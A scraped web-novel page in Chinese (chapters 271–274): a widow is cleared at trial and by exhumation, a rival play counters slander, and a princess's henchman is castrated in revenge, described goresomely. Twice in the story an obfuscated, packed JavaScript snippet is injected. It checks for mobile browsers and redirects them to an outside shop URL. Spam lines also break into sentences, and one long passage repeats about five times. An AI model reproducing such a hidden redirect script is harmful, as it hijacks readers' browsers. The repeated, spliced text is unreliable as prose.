状师微微一笑,将账册重新呈给周停云:“大人请看。整本账册历时已久,纸黄墨暗,唯独这一页,纸面光洁、墨迹鲜亮,与前后格格不入。此乃明显事后补加、伪造栽赃,绝非原物。 周停云接过账册,只扫一眼便心中了然。 他哪里不知,这是苗菁的手段,却也乐得顺水推舟,当下沉声道:“不错。此页与其他页码,确有明显不同。 状师立刻扬声,声音传遍大堂:“大人英明,诸位也都心明眼亮!这所谓‘购药凭证’,根本就是有人暗中动手脚,蓄意栽赃、构陷郭氏清白! 徐正又惊又怒,一把冲上前,不顾规矩地从衙役手中抢过账本,一页一页疯了似的翻看。那一页纸确实崭新刺眼,与整本旧册格格不入,他眉头拧成一团,嘴唇哆嗦着,却一个字也说不出来。 就在这时,何首被锦衣卫带了上来。 他面色看着有些憔悴,蔫蔫地躬身,有气无力地解释:“回……回大人,小人药铺,数日前曾遭过夜间偷盗,当时小人以为只是丢了些许散银,并未声张。如今想来……若是账本有问题,恐怕……恐怕就是那夜被人潜入,动了手脚啊! 一席话落下,徐正脸色彻底惨白。 堂下百姓哗然一片。 所有人都明白了,这从头到尾,就是一场栽赃陷害。 何首的话音刚落,堂下围观的百姓便炸开了锅,唏嘘之声此起彼伏,接连不断。 有人摇头叹息,有人低声怒骂,语气里满是愤慨与鄙夷:“真是人心歹毒啊!为了栽赃一个弱女子,竟然作假! “太缺 听说看这本书的人都是很幸运的,分享后你的运气会更棒 德了,这是要把人家逼死才甘心啊!” “可怜郭娘子,受了这么大的委屈,还要被人泼一身脏水!” …… 议论声中,状师再度上前,神色愈发郑重,声音清朗而有力量,传遍整个大堂:“诸位乡邻静一静,听在下一言。徐举人生前,爱妻如命,即便身患肺痨,缠绵病榻,心中念着的也唯有郭氏一人。他临死之前,已是油尽灯枯,却强撑着最后一口气,亲手写下了那封放妻书——此书虽无中人作证,形制略有欠缺,可徐举人的笔迹,乃是实打实的真迹,可请笔迹高手鉴定,绝非伪造!” 他顿了顿,语气里添了几分动容,字字恳切:“徐举人何其聪慧,他早已看透徐家之人的阴毒凉薄,知晓自己一旦离世,孤苦无依的郭氏,定然会被徐家欺凌,甚至可能被他们卖去抵债、任人践踏。他放不下妻子,舍不得她受半分苦楚,这才强撑着写下放妻书,放她自由,盼着她日后能寻一条生路,安稳度日。这般深情,这般隐忍,当真感天动地!” 说到此处,状师转头看向一旁静静伫立的郭晓芸:“也正因郭氏心性纯良、贤淑孝顺,待徐举人掏心掏肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223889|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才值得徐举人生前这般倾心爱护、死后这般费心周全。若郭氏真如徐家所言,是个蛇蝎毒妇,徐举人又怎会拼尽最后力气,护她一世周全?” 这番话,说得情真意切,堂下不少女子早已红了眼眶,悄悄抹起了眼泪。有妇人哽咽着哀叹:“徐举人真是个重情重义的人,可惜啊,年纪轻轻就走了,留下郭娘子一个人,还要受这般磨难……” “太可怜了,一对苦命人,偏偏还要被恶人刁难!” 徐正站在一旁,脸色一阵青一阵白,他想起陶生事前的叮嘱,咬了咬牙,硬着头皮强撑着喊道:“你胡说!全是你编的瞎话!那毒妇肯定害**大郎!不然大郎死的时候,怎会面色青紫、口鼻有血痂?那绝不是正常死状!” 状师闻言,不气不恼,只淡淡一笑,对着周停云躬身道:“大人明鉴,此言纯属无稽之谈。肺痨病人的死状,并非寻常人所想那般,在下早已请来了太医院的李太医,以及经验丰富的老仵作,二位皆是业内翘楚,所言必是实情,可请二位上堂作证。” “宣李太医、老仵作上堂!”周停云高声吩咐。 不多时,一位身着官袍、面容清癯的老者,与一位身着皂衣、神色沉稳地仵作,一同躬身走上大堂。 二人对着周停云行礼后,李太医率先开口,语气笃定:“启禀大人,诸位乡邻,肺痨之症,乃是阴虚火旺、气血耗竭之症。患者生前久咳咯血、临死之时,气绝血滞,面色自然会呈青灰之色,口鼻间残留暗痂,亦是咳血之后未能擦拭干净所致,此乃肺痨病人临终之常态,绝非**之象。” 老仵作亦上前一步,躬身补充:“大人,李太医所言极是。小人从业三十余年,验过数例肺痨死者,其死状皆与李太医所言一致。徐举人的死状,乃是典型的肺痨病逝,并无任何异常。” 二人言辞恳切,条理清晰,皆是有据可查,由不得人不信。 第272章 雪中冤 徐正彻底慌了神却依旧不肯罢休红着眼睛嘶吼:“你们串通好的!全是串通好的!你们都被苗大人收买了故意偏袒这个毒妇!” 他的嘶吼在肃穆的大堂上显得格外刺耳。 状师面色一沉转头看向郭晓芸语气郑重:“郭娘子徐举人的家人执意污蔑不肯信服太医与仵作之言。今日唯有开棺验尸以尸骨为证才能彻底洗去你的冤屈还徐举人一个清白也让徐家之人无话可说。不知郭娘子 郭晓芸站在原地泪水早已模糊了双眼。她微微垂眸语气里满是悲痛与隐忍:“夫君一生凄苦自幼不受徐家关爱身患肺痨饱受病痛折磨死后本应入土为安不受惊扰。我原本想着所有的委屈、所有的污蔑我都一个人忍着哪怕被人唾骂哪怕身陷囹圄也不愿扰了他的清净……” 说到此处她再也忍不住泪水顺着苍白的脸颊滑落:“可我万万没有想到徐家之人竟然这般狠毒非要将莫须有的罪名扣在我身上非要辱没夫君的英灵!今日为了洗去我身上的冤屈为了还夫君一个清白我……我愿意开棺验尸!” 她的话语悲痛欲绝字字泣血堂下百姓无不动容看向徐家人的眼神愈发鄙夷与愤怒。 周停云见状不再犹豫一拍惊堂木高声吩咐:“来人!衙役开路带所有人前往徐举人之坟地当众开棺验尸以证清白!” “是!”一众衙役齐声应和立刻上前在前方开路。 随后一众人等乌泱泱一片跟着衙役朝着徐维的坟地方向赶去。一路上百姓们议论纷纷个个都等着看最后的真相等着看徐家之人如何自食恶果。 不多时众人便抵达了坟地。徐维的坟茔有些简陋孤零零地立着尽显凄凉。 周停云一声令下衙役们立刻上前手持工具小心翼翼地开挖坟茔。围观百姓纷纷围上前来踮着脚尖张望大气不敢出。 片刻后棺木终于被缓缓挖出褪去泥土露出了斑驳的棺身。 “开棺!” 随着周停云的一声吩咐衙役们撬开棺盖。 众目睽睽之下棺中的尸骨清晰可见——通体发白并无半分**发黑的迹象尸骨完整与太医、仵作所言分毫不差。 所有的污蔑所有的栽赃在这一刻彻底不攻自破。 郭晓芸扑到棺木旁双膝跪地双手紧紧扶着棺沿失声痛哭起来哭声响彻整个坟地:“夫君!夫君啊!你命怎么这 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 么苦啊!生前不受徐家半分关爱,身患重病,饱受折磨;死后还要被人污蔑,还要被人挖坟掘墓,遭受这等惊扰!我对不起你,夫君……” 她的哭声,听得在场百姓无不落泪,纷纷对着徐家人指指点点,语气里满是鄙夷与怒骂:“真是太过分了!徐举人都**,还要被他们这么折腾!” “徐家这群白眼狼,太冷血无情了!” “赶紧给郭娘子道歉,给徐举人道歉!” …… 徐正站在一旁,脸色惨白如纸,身子瑟瑟发抖,看着棺中发白的尸骨,看着周围百姓鄙夷的目光,再也支撑不住,双腿一软,瘫倒在地。 顺天府大堂之上,周停云手持惊堂木,高声宣判:“本案真相大白,郭氏清白无辜,并无谋害亲夫之举,即刻无罪释放!徐正等人,恶意诬告、伪造证据、构陷良善,搅乱公堂、污蔑逝者,罪证确凿!判家主徐正,杖责二十,充军边塞;徐家其余参与诬告之人,各笞杖二十,罚银百两,以儆效尤!” “谢大人!谢大人!”郭晓芸对着周停云深深叩首。 衙役们立刻上前,将面如死灰的徐正拖下去行刑,徐家其余人也一一受罚,哀嚎不止。围观百姓纷纷拍手称快,欢呼声、喝彩声此起彼伏:“判得好!终于还郭娘子清白了!” “恶人有恶报,真是大快人心!” 郭晓芸缓缓起身,在众人同情与敬佩的目光中,一步步走出顺天府大堂。阳光洒在她的身上,驱散了多日来的阴霾,暖得让人鼻尖发酸。 就在郭晓芸走出顺天府大门的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223890|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,京城的许多戏台上,锣鼓声此起彼伏,一出名为《雪中冤》的戏剧,正免费呈现在京城百姓面前,同步开演,声势浩大。 戏台之上,演员们扮相鲜活,演技精湛,将整个故事演绎得跌宕起伏、扣人心弦。 戏文开篇,便讲那柔弱善良的小白花,与深情专一的举人相公,二人相依为命、情投意合,虽家境清贫,却恩爱有加。 谁知天有不测风云,举人相公被邻居单氏看中,一心想要勾搭他。 起初,单氏百般勾引,送金送银、搔首弄姿,可举人相公乃是正人君子,心中唯有小白花一人,对单氏的诱惑不屑一顾,甚至严词拒绝。 屡次碰壁之下,单氏恼羞成怒,心生歹念,暗中设下毒计,趁举人相公独自在家之时,偷偷给他的茶水中下了**,妄图趁机**,逼他就范。 可举人相公察觉不对,浑身燥热难耐之际,依旧坚守本心,不愿背叛小白花,挣扎着想要奔逃,去找小白花求助。单氏见状,彻底疯魔,随手拿起身旁的钝器,对着举人相公的后脑狠狠敲击下去——可怜那深情举人,来不及呼喊,便倒在血泊之中,含冤而死。 **之后,单氏非但没有丝毫畏惧,反倒心思歹毒地布置了现场,将**的罪名,尽数栽赃给了刚从外面归来的小白花。小白花孤苦无依,百口莫辩,被官府打入大牢,受尽**,日日以泪洗面。 戏文的高潮,便是举人相公的阴魂不散——他放不下含冤的妻子,放不下自己的清白,夜夜托梦给府尹,指引府尹寻找真相,又亲自“现身”,带领衙役,找到被单氏藏起来的钝器凶器。 铁证如山之下,单氏的阴谋彻底败露,她的**歹毒、心狠手辣,被揭露得一览无余。 最终,单氏被判凌迟处死,小白花沉冤得雪,无罪释放,举人相公的阴魂得以安息,投胎转世。戏文结尾,还加了一段因果报应的戏份,单氏死后坠入十八层地狱,永世不得超生,而小白花则被一位正直善良的大官所护,日后得以安稳度日。 第273章 助纣为虐是要付出代价 这出戏,比之前流传的《雪上霜》更为曲折离奇,既有儿女情长,又有阴谋诡计,更加入了百姓最喜闻乐见的神鬼元素与因果报应,看得人目不暇接、心潮澎湃。 戏中除了“单氏”之名,其余人物的身份,皆与前一本《雪上霜》一模一样。之前只是口头说书,如今却是**演绎,演员们将小白花的凄苦无依、举人相公的深情正直、单氏的**歹毒,演绎得淋漓尽致、入木三分。 戏台之下,百姓们看得聚精会神,时而为小白花的冤屈落泪,时而为单氏的歹毒咬牙切齿,时而为真相大白而拍手称快。有妇人抱着孩子,一边抹泪一边骂:“这个单氏,真是**歹毒到了骨子里!竟敢害了这么好的举人相公,还栽赃给小白花,太该杀了!” “是啊是啊!因果循环,报应不爽,她就该下地狱!” 不过半日功夫,之前流传甚广的《雪上霜》,便被百姓们抛到了九霄云外,所有人都在谈论《雪中冤》,都在痛骂单氏的恶毒,都在同情小白花的遭遇,都在赞叹举人相公的深情。 街头巷尾,茶楼酒肆,到处都是议论这出戏的声音,小白花的冤屈被百姓们口口相传,之前的污名,彻底被这出戏洗刷干净,取而代之的,是所有人的同情与敬佩。 顺天府附近的一处茶楼上,薄广站在苗菁身旁,看着楼下戏台前挤满了百姓,听着耳边此起彼伏的怒骂声与喝彩声,脸上满是赞叹,忍不住对着苗菁躬身道:“属下真是想不到,大人还有这一手!这出戏写得精妙绝伦。” 苗菁薄唇微启,发出一声冰冷的冷笑,没有说话,周身的气压却瞬间沉了下来。 苗菁的眼底,藏着滔天的杀意与冷冽的算计。 好戏,才刚刚开始。 这出《雪中冤》,不过是给长公主的“回礼”。她纵然是金枝玉叶,可也不该把人往泥地里摁,他总要她付出代价的。 书房里,长公主斜倚在迎枕上,漫不经心地摩挲着一枚羊脂玉扳指,听完陶生躬身垂首的禀报,长长的睫毛微微颤动了一下,抬眸时眼底无半分波澜,语气平淡道:“算他还有几分能耐。” 陶生后背早已沁出一层细密的冷汗,他小心翼翼地抬眼瞥了长公主一眼,又飞快地低下头,声音发紧,惴惴不安道:“殿下,苗大人这般步步紧逼,分明是不将您放在眼里,他执掌锦衣卫,手段狠戾,手下校尉个个如狼似虎,咱们设计陷害郭氏一事,若是被他查出来,他会不会……会不会报复咱们?” 长公主闻言,低低冷笑一声道:“我量他没这 个胆子!他纵使职权滔天,也不过是我姜氏皇室豢养的鹰犬。” 陶生见长公主语气坚决,心底的惶恐散去大半。他又想起徐家人,眉头微微蹙起,再次小心翼翼地问道:“殿下,那徐家一家人,咱们还要不要管?徐正被判了流放,山高路远,只怕性命不保。” 长公主抬眸,淡淡地扫了他一眼,眼神里带着几分不耐,语气冷淡地反问道:“你可曾泄露了你的身份?” 陶生忙不迭地摇头:“当然没有!殿下放心,属下做事向来谨慎,怎敢泄露殿下的身份?徐家一家人皆是些没见过世面的乡野村夫,目光短浅,满心满眼都是富贵荣华。属下不过是略施小计,再拿出几锭银子唬了唬他们,便把他们哄得服服帖帖,唯命是从。他们只猜测着属下是贵人的底下人,并不知道我的**!” 长公主闻言,似笑非笑道:“既然如此,你还管他们做什么?一群贪图富贵、趋炎附势的蝼蚁,**也就**。” 陶生心头一凛,连忙躬身点头,语气愈发恭敬:“是!是!属下明白!” 退出书房,陶生长长地舒了一口气,抬手用力擦了擦额间冷,晚风从长廊的窗棂间吹进来,让他忍不住打了个寒颤。 夜色渐深,月黑风高,风声穿过街巷,发出“呜呜”的声响,如同鬼魅的低语。 陶生脚步匆匆地从长公主府的角门出来,身后跟着一个提灯笼的随从。二人一前一后,沿着后巷,快步往陶生家走去。 就在二人走到后巷中段时,一阵细微的声音忽然从头顶传来,不等陶生与随从反应过来,两道黑色的身影已然从围墙上飘下,脚尖点地时没有发出半点多余的声响。 随从还没反应过来,便被其中一名黑衣人抬手一记凌厉的手刀,狠狠砍在脖颈处。随从连哼都没哼一声,便双眼一翻,软软地倒了下去。 那盏灯笼“啪”的一声掉在地上,火光瞬间熄灭,整个后巷彻底陷入了伸手不见五指的黑暗之中,只剩下呼啸的风声,愈发显得阴森可怖。 陶生浑身的血液仿佛在这一刻凝固了,双腿一软,几乎要瘫倒在地,一股温热的尿液不受控制地顺着大腿往下流。他的喉咙被死死卡住,想喊却发不出任何声音,只能发出“嗬嗬”的微弱声响。 两人拖着陶生到了僻静处。 黑衣人声音没什么情绪,可听起来却让人胆颤心惊:“助纣为虐是要付出代价的。” 两人将陶生按在墙壁上,一人粗暴地褪去了他的裤子,另一人手起刀落,干净利索地切下了陶生的命根子。陶生浑身剧烈抽搐了一下,剧痛让他眼前发黑,嘴里只发出一声模糊的闷哼,便昏厥过去。 第二日一早,许多早起做生意、采买百姓经过长公主府门前。 忽然,一名百姓停下脚步,目光落在长公主府门前那块鎏金牌匾上,指着牌匾正中央一团血肉模糊、还夹杂着些许毛发的东西,满脸疑惑地大声问道:“你们快看,那是什么东西?黏在牌匾上,看着好生恶心!” 个胆子!他纵使职权滔天,也不过是我姜氏皇室豢养的鹰犬。” 陶生见长公主语气坚决,心底的惶恐散去大半。他又想起徐家人,眉头微微蹙起,再次小心翼翼地问道:“殿下,那徐家一家人,咱们还要不要管?徐正被判了流放,山高路远,只怕性命不保。” 长公主抬眸,淡淡地扫了他一眼,眼神里带着几分不耐,语气冷淡地反问道:“你可曾泄露了你的身份?” 陶生忙不迭地摇头:“当然没有!殿下放心,属下做事向来谨慎,怎敢泄露殿下的身份?徐家一家人皆是些没见过世面的乡野村夫,目光短浅,满心满眼都是富贵荣华。属下不过是略施小计,再拿出几锭银子唬了唬他们,便把他们哄得服服帖帖,唯命是从。他们只猜测着属下是贵人的底下人,并不知道我的**!” 长公主闻言,似笑非笑道:“既然如此,你还管他们做什么?一群贪图富贵、趋炎附势的蝼蚁,**也就**。” 陶生心头一凛,连忙躬身点头,语气愈发恭敬:“是!是!属下明白!” 退出书房,陶生长长地舒了一口气,抬手用力擦了擦额间冷,晚风从长廊的窗棂间吹进来,让他忍不住打了个寒颤。 夜色渐深,月黑风高,风声穿过街巷,发出“呜呜”的声响,如同鬼魅的低语。 陶生脚步匆匆地从长公主府的角门出来,身后跟着一个提灯笼的随从。二人一前一后,沿着后巷,快步往陶生家走去。 就在二人走到后巷中段时,一阵细微的声音忽然从头顶传来,不等陶生与随从反应过来,两道黑色的身影已然从围墙上飘下,脚尖点地时没有发出半点多余的声响。 随从还没反应过来,便被其中一名黑衣人抬手一记凌厉的手刀,狠狠砍在脖颈处。随从连哼都没哼一声,便双眼一翻,软软地倒了下去。 那盏灯笼“啪”的一声掉在地上,火光瞬间熄灭,整个后巷彻底陷入了伸手不见五指的黑暗之中,只剩下呼啸的风声,愈发显得阴森可怖。 陶生浑身的血液仿佛在这一刻凝固了,双腿一软,几乎要瘫倒在地,一股温热的尿液不受控制地顺着大腿往下流。他的喉咙被死死卡住,想喊却发不出任何声音,只能发出“嗬嗬”的微弱声响。 两人拖着陶生到了僻静处。 黑衣人声音没什么情绪,可听起来却让人胆颤心惊:“助纣为虐是要付出代价的。” 两人将陶生按在墙壁上,一人粗暴地褪去了他的裤子,另一人手起刀落,干净利索地切下了陶生的命根子。陶生浑身剧烈抽搐了一下,剧痛让他眼前发黑,嘴里只发出一声模糊的闷哼,便昏厥过去。 第二日一早,许多早起做生意、采买百姓经过长公主府门前。 忽然,一名百姓停下脚步,目光落在长公主府门前那块鎏金牌匾上,指着牌匾正中央一团血肉模糊、还夹杂着些许毛发的东西,满脸疑惑地大声问道:“你们快看,那是什么东西?黏在牌匾上,看着好生恶心!” 个胆子!他纵使职权滔天,也不过是我姜氏皇室豢养的鹰犬。” 陶生见长公主语气坚决,心底的惶恐散去大半。他又想起徐家人,眉头微微蹙起,再次小心翼翼地问道:“殿下,那徐家一家人,咱们还要不要管?徐正被判了流放,山高路远,只怕性命不保。” 长公主抬眸,淡淡地扫了他一眼,眼神里带着几分不耐,语气冷淡地反问道:“你可曾泄露了你的身份?” 陶生忙不迭地摇头:“当然没有!殿下放心,属下做事向来谨慎,怎敢泄露殿下的身份?徐家一家人皆是些没见过世面的乡野村夫,目光短浅,满心满眼都是富贵荣华。属下不过是略施小计,再拿出几锭银子唬了唬他们,便把他们哄得服服帖帖,唯命是从。他们只猜测着属下是贵人的底下人,并不知道我的**!” 长公主闻言,似笑非笑道:“既然如此,你还管他们做什么?一群贪图富贵、趋炎附势的蝼蚁,**也就**。” 陶生心头一凛,连忙躬身点头,语气愈发恭敬:“是!是!属下明白!” 退出书房,陶生长长地舒了一口气,抬手用力擦了擦额间冷,晚风从长廊的窗棂间吹进来,让他忍不住打了个寒颤。 夜色渐深,月黑风高,风声穿过街巷,发出“呜呜”的声响,如同鬼魅的低语。 陶生脚步匆匆地从长公主府的角门出来,身后跟着一个提灯笼的随从。二人一前一后,沿着后巷,快步往陶生家走去。 就在二人走到后巷中段时,一阵细微的声音忽然从头顶传来,不等陶生与随从反应过来,两道黑色的身影已然从围墙上飘下,脚尖点地时没有发出半点多余的声响。 随从还没反应过来,便被其中一名黑衣人抬手一记凌厉的手刀,狠狠砍在脖颈处。随从连哼都没哼一声,便双眼一翻,软软地倒了下去。 那盏灯笼“啪”的一声掉在地上,火光瞬间熄灭,整个后巷彻底陷入了伸手不见五指的黑暗之中,只剩下呼啸的风声,愈发显得阴森可怖。 陶生浑身的血液仿佛在这一刻凝固了,双腿一软,几乎要瘫倒在地,一股温热的尿液不受控制地顺着大腿往下流。他的喉咙被死死卡住,想喊却发不出任何声音,只能发出“嗬嗬”的微弱声响。 两人拖着陶生到了僻静处。 黑衣人声音没什么情绪,可听起来却让人胆颤心惊:“助纣为虐是要付出代价的。” 两人将陶生按在墙壁上,一人粗暴地褪去了他的裤子,另一人手起刀落,干净利索地切下了陶生的命根子。陶生浑身剧烈抽搐了一下,剧痛让他眼前发黑,嘴里只发出一声模糊的闷哼,便昏厥过去。 第二日一早,许多早起做生意、采买百姓经过长公主府门前。 忽然,一名百姓停下脚步,目光落在长公主府门前那块鎏金牌匾上,指着牌匾正中央一团血肉模糊、还夹杂着些许毛发的东西,满脸疑惑地大声问道:“你们快看,那是什么东西?黏在牌匾上,看着好生恶心!” 个胆子!他纵使职权滔天,也不过是我姜氏皇室豢养的鹰犬。” 陶生见长公主语气坚决,心底的惶恐散去大半。他又想起徐家人,眉头微微蹙起,再次小心翼翼地问道:“殿下,那徐家一家人,咱们还要不要管?徐正被判了流放,山高路远,只怕性命不保。” 长公主抬眸,淡淡地扫了他一眼,眼神里带着几分不耐,语气冷淡地反问道:“你可曾泄露了你的身份?” 陶生忙不迭地摇头:“当然没有!殿下放心,属下做事向来谨慎,怎敢泄露殿下的身份?徐家一家人皆是些没见过世面的乡野村夫,目光短浅,满心满眼都是富贵荣华。属下不过是略施小计,再拿出几锭银子唬了唬他们,便把他们哄得服服帖帖,唯命是从。他们只猜测着属下是贵人的底下人,并不知道我的**!” 长公主闻言,似笑非笑道:“既然如此,你还管他们做什么?一群贪图富贵、趋炎附势的蝼蚁,**也就**。” 陶生心头一凛,连忙躬身点头,语气愈发恭敬:“是!是!属下明白!” 退出书房,陶生长长地舒了一口气,抬手用力擦了擦额间冷,晚风从长廊的窗棂间吹进来,让他忍不住打了个寒颤。 夜色渐深,月黑风高,风声穿过街巷,发出“呜呜”的声响,如同鬼魅的低语。 陶生脚步匆匆地从长公主府的角门出来,身后跟着一个提灯笼的随从。二人一前一后,沿着后巷,快步往陶生家走去。 就在二人走到后巷中段时,一阵细微的声音忽然从头顶传来,不等陶生与随从反应过来,两道黑色的身影已然从围墙上飘下,脚尖点地时没有发出半点多余的声响。 随从还没反应过来,便被其中一名黑衣人抬手一记凌厉的手刀,狠狠砍在脖颈处。随从连哼都没哼一声,便双眼一翻,软软地倒了下去。 那盏灯笼“啪”的一声掉在地上,火光瞬间熄灭,整个后巷彻底陷入了伸手不见五指的黑暗之中,只剩下呼啸的风声,愈发显得阴森可怖。 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陶生浑身的血液仿佛在这一刻凝固了,双腿一软,几乎要瘫倒在地,一股温热的尿液不受控制地顺着大腿往下流。他的喉咙被死死卡住,想喊却发不出任何声音,只能发出“嗬嗬”的微弱声响。 两人拖着陶生到了僻静处。 黑衣人声音没什么情绪,可听起来却让人胆颤心惊:“助纣为虐是要付出代价的。” 两人将陶生按在墙壁上,一人粗暴地褪去了他的裤子,另一人手起刀落,干净利索地切下了陶生的命根子。陶生浑身剧烈抽搐了一下,剧痛让他眼前发黑,嘴里只发出一声模糊的闷哼,便昏厥过去。 第二日一早,许多早起做生意、采买百姓经过长公主府门前。 忽然,一名百姓停下脚步,目光落在长公主府门前那块鎏金牌匾上,指着牌匾正中央一团血肉模糊、还夹杂着些许毛发的东西,满脸疑惑地大声问道:“你们快看,那是什么东西?黏在牌匾上,看着好生恶心!” 个胆子!他纵使职权滔天,也不过是我姜氏皇室豢养的鹰犬。” 陶生见长公主语气坚决,心底的惶恐散去大半。他又想起徐家人,眉头微微蹙起,再次小心翼翼地问道:“殿下,那徐家一家人,咱们还要不要管?徐正被判了流放,山高路远,只怕性命不保。” 长公主抬眸,淡淡地扫了他一眼,眼神里带着几分不耐,语气冷淡地反问道:“你可曾泄露了你的身份?” 陶生忙不迭地摇头:“当然没有!殿下放心,属下做事向来谨慎,怎敢泄露殿下的身份?徐家一家人皆是些没见过世面的乡野村夫,目光短浅,满心满眼都是富贵荣华。属下不过是略施小计,再拿出几锭银子唬了唬他们,便把他们哄得服服帖帖,唯命是从。他们只猜测着属下是贵人的底下人,并不知道我的**!” 长公主闻言,似笑非笑道:“既然如此,你还管他们做什么?一群贪图富贵、趋炎附势的蝼蚁,**也就**。” 陶生心头一凛,连忙躬身点头,语气愈发恭敬:“是!是!属下明白!” 退出书房,陶生长长地舒了一口气,抬手用力擦了擦额间冷,晚风从长廊的窗棂间吹进来,让他忍不住打了个寒颤。 夜色渐深,月黑风高,风声穿过街巷,发出“呜呜”的声响,如同鬼魅的低语。 陶生脚步匆匆地从长公主府的角门出来,身后跟着一个提灯笼的随从。二人一前一后,沿着后巷,快步往陶生家走去。 就在二人走到后巷中段时,一阵细微的声音忽然从头顶传来,不等陶生与随从反应过来,两道黑色的身影已然从围墙上飘下,脚尖点地时没有发出半点多余的声响。 随从还没反应过来,便被其中一名黑衣人抬手一记凌厉的手刀,狠狠砍在脖颈处。随从连哼都没哼一声,便双眼一翻,软软地倒了下去。 那盏灯笼“啪”的一声掉在地上,火光瞬间熄灭,整个后巷彻底陷入了伸手不见五指的黑暗之中,只剩下呼啸的风声,愈发显得阴森可怖。 陶生浑身的血液仿佛在这一刻凝固了,双腿一软,几乎要瘫倒在地,一股温热的尿液不受控制地顺着大腿往下流。他的喉咙被死死卡住,想喊却发不出任何声音,只能发出“嗬嗬”的微弱声响。 两人拖着陶生到了僻静处。 黑衣人声音没什么情绪,可听起来却让人胆颤心惊:“助纣为虐是要付出代价的。” 两人将陶生按在墙壁上,一人粗暴地褪去了他的裤子,另一人手起刀落,干净利索地切下了陶生的命根子。陶生浑身剧烈抽搐了一下,剧痛让他眼前发黑,嘴里只发出一声模糊的闷哼,便昏厥过去。 第二日一早,许多早起做生意、采买百姓经过长公主府门前。 忽然,一名百姓停下脚步,目光落在长公主府门前那块鎏金牌匾上,指着牌匾正中央一团血肉模糊、还夹杂着些许毛发的东西,满脸疑惑地大声问道:“你们快看,那是什么东西?黏在牌匾上,看着好生恶心!” 个胆子!他纵使职权滔天,也不过是我姜氏皇室豢养的鹰犬。” 陶生见长公主语气坚决,心底的惶恐散去大半。他又想起徐家人,眉头微微蹙起,再次小心翼翼地问道:“殿下,那徐家一家人,咱们还要不要管?徐正被判了流放,山高路远,只怕性命不保。” 长公主抬眸,淡淡地扫了他一眼,眼神里带着几分不耐,语气冷淡地反问道:“你可曾泄露了你的身份?” 陶生忙不迭地摇头:“当然没有!殿下放心,属下做事向来谨慎,怎敢泄露殿下的身份?徐家一家人皆是些没见过世面的乡野村夫,目光短浅,满心满眼都是富贵荣华。属下不过是略施小计,再拿出几锭银子唬了唬他们,便把他们哄得服服帖帖,唯命是从。他们只猜测着属下是贵人的底下人,并不知道我的**!” 长公主闻言,似笑非笑道:“既然如此,你还管他们做什么?一群贪图富贵、趋炎附势的蝼蚁,**也就**。” 陶生心头一凛,连忙躬身点头,语气愈发恭敬:“是!是!属下明白!” 退出书房,陶生长长地舒了一口气,抬手用力擦了擦额间冷,晚风从长廊的窗棂间吹进来,让他忍不住打了个寒颤。 夜色渐深,月黑风高,风声穿过街巷,发出“呜呜”的声响,如同鬼魅的低语。 陶生脚步匆匆地从长公主府的角门出来,身后跟着一个提灯笼的随从。二人一前一后,沿着后巷,快步往陶生家走去。 就在二人走到后巷中段时,一阵细微的声音忽然从头顶传来,不等陶生与随从反应过来,两道黑色的身影已然从围墙上飘下,脚尖点地时没有发出半点多余的声响。 随从还没反应过来,便被其中一名黑衣人抬手一记凌厉的手刀,狠狠砍在脖颈处。随从连哼都没哼一声,便双眼一翻,软软地倒了下去。 那盏灯笼“啪”的一声掉在地上,火光瞬间熄灭,整个后巷彻底陷入了伸手不见五指的黑暗之中,只剩下呼啸的风声,愈发显得阴森可怖。 陶生浑身的血液仿佛在这一刻凝固了,双腿一软,几乎要瘫倒在地,一股温热的尿液不受控制地顺着大腿往下流。他的喉咙被死死卡住,想喊却发不出任何声音,只能发出“嗬嗬”的微弱声响。 两人拖着陶生到了僻静处。 黑衣人声音没什么情绪,可听起来却让人胆颤心惊:“助纣为虐是要付出代价的。” 两人将陶生按在墙壁上,一人粗暴地褪去了他的裤子,另一人手起刀落,干净利索地切下了陶生的命根子。陶生浑身剧烈抽搐了一下,剧痛让他眼前发黑,嘴里只发出一声模糊的闷哼,便昏厥过去。 第二日一早,许多早起做生意、采买百姓经过长公主府门前。 忽然,一名百姓停下脚步,目光落在长公主府门前那块鎏金牌匾上,指着牌匾正中央一团血肉模糊、还夹杂着些许毛发的东西,满脸疑惑地大声问道:“你们快看,那是什么东西?黏在牌匾上,看着好生恶心!” 第274章 讨些利息 周围的百姓纷纷围了过来,踮着脚尖,伸长脖子仔细辨认。 有人像是被什么吓到一般,猛地后退一步,大声惊呼道:“我的天!那、那不是男人的命根子吗?怎么会被钉在长公主府的牌匾上?” 这话一出,围观的百姓瞬间炸开了锅,纷纷议论纷纷,人声鼎沸。 有人满脸震惊,直呼荒唐;有人窃窃私语,猜测着其中的缘由;还有人笑容轻浮,忖度着这物和长公主的关系。 一时间,长公主府门前围得水泄不通,连路过的车马都被堵在了一旁,场面十分混乱。 府门前守门的侍卫一边挥舞着手中的棍棒驱赶人群,一边踩着梯子将那块血肉模糊的东西从牌匾上刮了下来。 此事终究还是没能瞒过长公主,长公主刚刚起床,听到侍女禀报后,厉声呵斥道:“废物!都是废物!竟然到现在才发现,一个个都该死!” 长公主当即传旨,将守门的侍卫打板子。守门的侍卫们一个个吓得跪倒在地,却不敢有半句辩解。他们的确没有发现,那东西到底是什么时候被钉到牌匾上去的,这顿打是避不了的。 